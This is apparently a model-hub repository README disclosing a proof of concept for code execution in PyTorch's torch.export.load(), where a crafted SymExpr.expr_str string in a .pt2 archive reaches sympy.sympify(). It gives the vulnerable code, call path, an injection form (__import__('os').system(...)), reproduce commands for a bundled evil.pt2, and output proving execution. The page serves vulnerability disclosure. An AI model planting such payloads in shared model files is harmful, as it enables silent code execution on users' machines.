You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

PoC: RCE via sympy.sympify() on attacker-controlled SymExpr.expr_str in torch.export / .pt2 deserialization

Target: github.com/pytorch/pytorch β€” torch/_export/serde/serialize.py, torch/export/pt2_archive/_package.py (torch.export / .pt2 package format)

Verified against: pytorch main @ commit 0a1434d (fetched 2026-07-06), installed as torch==2.12.1+cpu from the official CPU wheel index.

Summary

Calling the public, documented API torch.export.load() on a maliciously crafted .pt2 archive (or bare serialized ExportedProgram) achieves arbitrary code execution, with no exception, warning, or any other signal to the caller β€” load() returns a normal-looking ExportedProgram object.

The root cause is that SymExpr.expr_str (a completely free-form string field in the export serialization schema, used to record symbolic-shape expressions such as those produced by torch.export's dynamic_shapes feature) is passed unsanitized into sympy.sympify(), which evaluates its input via Python's eval() under the hood. This lets an attacker embed arbitrary Python, e.g. __import__('os').system(...), inside the "safe", non-pickle, JSON/thrift-schema portion of a .pt2 file.

This is a distinct root cause from the already-public/known weights_only-forwarding issue (CVE-2026-4538 / pytorch/pytorch#176791), which is specifically about the pickle fallback used for tensor/constant payloads. No pickle module is involved anywhere in this bug: the payload lives in models/<name>.json, the part of the archive whose entire design point (per the thrift schema doc) is to be a stable, inspectable, non-pickle representation of the exported graph.

Vulnerable code

torch/_export/serde/serialize.py:

def _parse_sym_expr(self, expr_str: str, hint=None) -> sympy.Expr:
    ...
    expr = sympy.sympify(
        expr_str,
        locals={**self.sympy_functions, **self.symbol_name_to_symbol},
    )
    return _process_sym_expr(expr, hint)

def deserialize_sym_int(self, s: SymInt):
    val = s.value
    if s.type == "as_expr":
        ...
        sym = self._parse_sym_expr(val.expr_str, hint)
        return self.shape_env.create_symintnode(sym, hint=hint)

expr_str is declared with zero content validation:

  • torch/_export/serde/schema.py: class SymExpr: expr_str: Annotated[str, 10]
  • torch/_export/serde/export_schema.thrift: 10: string expr_str;
  • torch/_export/serde/schema_check.py has no reference to expr_str at all.

Call path from the public API

torch.export.load("evil.pt2")
  -> torch.export.pt2_archive._package.load_pt2()
  -> _load_exported_programs()
  -> ExportedProgramDeserializer(...).deserialize()
  -> GraphModuleDeserializer.deserialize_sym_int() / deserialize_sym_float()
  -> _parse_sym_expr() -> sympy.sympify(attacker_controlled_expr_str)

SymExpr nodes of type == "as_expr" are produced any time a model is exported with dynamic_shapes=... (an extremely common, first-class torch.export feature β€” not an edge case), so any pipeline that accepts .pt2 files or serialized ExportedPrograms from outside sources and uses dynamic shapes is exposed.

Files in this repo

  • make_poc.py β€” self-contained build + trigger script (see its docstring for full detail).
  • benign_test.pt2 β€” the untampered archive produced by the real torch.export.save(), for diffing.
  • evil.pt2 β€” the tampered archive. Only the expr_str string inside models/model.json differs from benign_test.pt2; nothing else in the zip was touched, and no pickled payload was modified.

Reproduce

pip install torch          # 2.12.1 CPU wheel is sufficient
python make_poc.py build    # regenerates benign_test.pt2 / evil.pt2 from scratch
python make_poc.py trigger  # calls torch.export.load("evil.pt2")
cat /tmp/pwned_pt2.txt      # contains the output of `id`, proving code exec

Observed output (this environment):

[*] calling torch.export.load('evil.pt2') ...
[*] load() returned normally:
ExportedProgram:
    class GraphModule(torch.nn.Module):
        def forward(self, x: "f32[s77, 3]"):
            sum_1: "f32[1, 3]" = torch.ops.aten.sum.dim_IntList(x, [0], True)
            slice_1: "f32[1, 3]" = torch.ops.aten.slice.Tensor(x, 0, 0, 1);  x = None
            add: "f32[1, 3]" = torch.ops.aten.add.Tensor(sum_1, slice_1);  sum_1 = slice_1 = None
            return (add,)
...
[!!] RCE CONFIRMED -- /tmp/pwned_pt2.txt contents:
uid=1000(kali) gid=1000(kali) groups=...

Impact

Arbitrary code execution with the privileges of whatever process calls torch.export.load() / torch.export.pt2_archive.load_pt2(), triggered by loading a single untrusted .pt2 file β€” a file format that torch.export positions as the portable, inspectable interchange format for exported models (used by AOTInductor packaging, ExecuTorch, and general model deployment/sharing). Because the load silently succeeds and returns a plausible-looking ExportedProgram, there is no indication to a victim that anything unusual happened, unlike the well-known "torch.load is pickle, be careful" risk this file format was partly meant to move away from.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support